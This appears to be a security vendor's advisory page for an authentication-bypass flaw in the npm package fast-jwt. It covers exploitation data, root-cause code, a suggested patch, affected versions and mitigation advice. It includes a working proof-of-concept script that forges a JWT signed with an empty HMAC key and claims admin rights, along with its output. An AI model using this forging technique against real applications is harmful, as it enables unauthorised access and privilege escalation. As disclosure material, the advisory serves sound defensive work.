GHSA-gmvf-9v4p-v8jc
CRITICALGHSA-gmvf-9v4p-v8jc is a critical-severity (CVSS 9.1) Improper Authentication vulnerability in fast-jwt. O3 Security confirms whether GHSA-gmvf-9v4p-v8jc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gmvf-9v4p-v8jc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gmvf-9v4p-v8jc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 356,530 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
fast-jwtnpmDescription
Summary
A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release [email protected].
Preconditions
For this issue to occur the following MUST ALL be true:
- The application developer (library consumer) uses an asynchronous callback function to set the key (e.g.
createVerifier({key: async (decoded) => ... })) - The response from the async callback MUST return an empty string
''OR zero-length buffer (e.g.Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue - The library configuration must allow HMAC signatures. This is the default for the library.
- The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
- All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.
Details
src/verifier.js prepareKeyOrSecret (lines 33-39):
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
return isSecret ? createSecretKey(key) : createPublicKey(key) // ← no length check
}
src/verifier.js async key-resolver flow (lines 429-468):
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' → Buffer.alloc(0)
} else if (!(currentKey instanceof Buffer)) {
return callback(... 'string or buffer'...)
}
try {
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
// branch → returns hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // default empty → HMAC family assigned
}
currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
// → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently
verifyToken(currentKey, decoded, validationContext)
}
})
src/crypto.js verifySignature (lines 286-291):
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.
The bug exists only on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.
PoC
// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'
function b64url(buf) {
return Buffer.from(buf).toString('base64')
.replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}
// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
sub: 'attacker', admin: true,
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`
// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})
console.log(await verifier(forgedToken))
Output on [email protected]:
{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }
— the attacker-chosen payload is returned as authentic.
Attack matrix verified against [email protected]:
| Resolver shape | algorithms option | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ accept | ✅ accept | ✅ accept |
(d, cb) => cb(null, '') | (default) | ✅ accept | ✅ accept | ✅ accept |
async d => keys[d.header.kid] || '' | (default) | ✅ accept | ✅ accept | ✅ accept |
async () => '' | ['HS256','HS384','HS512'] | ✅ accept | ✅ accept | ✅ accept |
async () => '' | ['HS256','RS256'] | ✅ accept | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
The bug is only not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.
Sense checks (also verified against [email protected] to rule out my harness):
- A token signed with the real secret continues to verify correctly. → ACCEPTED.
- A forged-empty-key token sent to a verifier whose resolver returns the real secret is rejected. → INVALID_SIGNATURE.
- The synchronous
key: ''(string) configuration is correctly rejected. → MISSING_KEY.
Impact
Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, and whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.
Concrete attacker capabilities:
- Mint arbitrary JWTs with attacker-chosen
sub,admin,roles,scopes,iss,aud, etc. - Full identity assumption — any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
- Default-config exploitable — the caller does not need to misconfigure
algorithms. With the default empty array, fast-jwt itself assigns['HS256','HS384','HS512']when it sees an empty key. - Cache amplification — once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.
The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.
Suggested fix
Reject zero-length HMAC secrets in prepareKeyOrSecret:
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
+
+ if (isSecret && (!key || key.length === 0)) {
+ throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+ }
+
return isSecret ? createSecretKey(key) : createPublicKey(key)
}
This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.
For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | fast-jwt | all versions | 6.2.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fast-jwt. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fast-jwt to 6.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gmvf-9v4p-v8jc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gmvf-9v4p-v8jc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gmvf-9v4p-v8jc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gmvf-9v4p-v8jc in your dependencies?
O3 detects GHSA-gmvf-9v4p-v8jc across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.